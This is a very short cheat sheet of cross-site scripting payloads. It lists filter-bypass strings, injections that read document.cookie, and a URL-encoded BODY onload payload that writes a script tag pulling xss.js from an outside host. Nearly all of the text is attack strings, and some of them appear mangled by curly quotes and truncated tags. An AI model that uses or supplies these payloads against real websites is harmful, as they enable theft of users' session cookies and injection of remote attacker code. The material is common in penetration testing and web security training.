XSS Cheat Sheet The ol’e basic: “> Bypass filter when it strips “> “>< foo%00 ipt>alert(document.cookie)ipt> %22/%3E%3CBODY%20onload=’document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)’%3E ‘; alert(document.cookie); var foo=’ foo\’; alert(document.cookie);//’;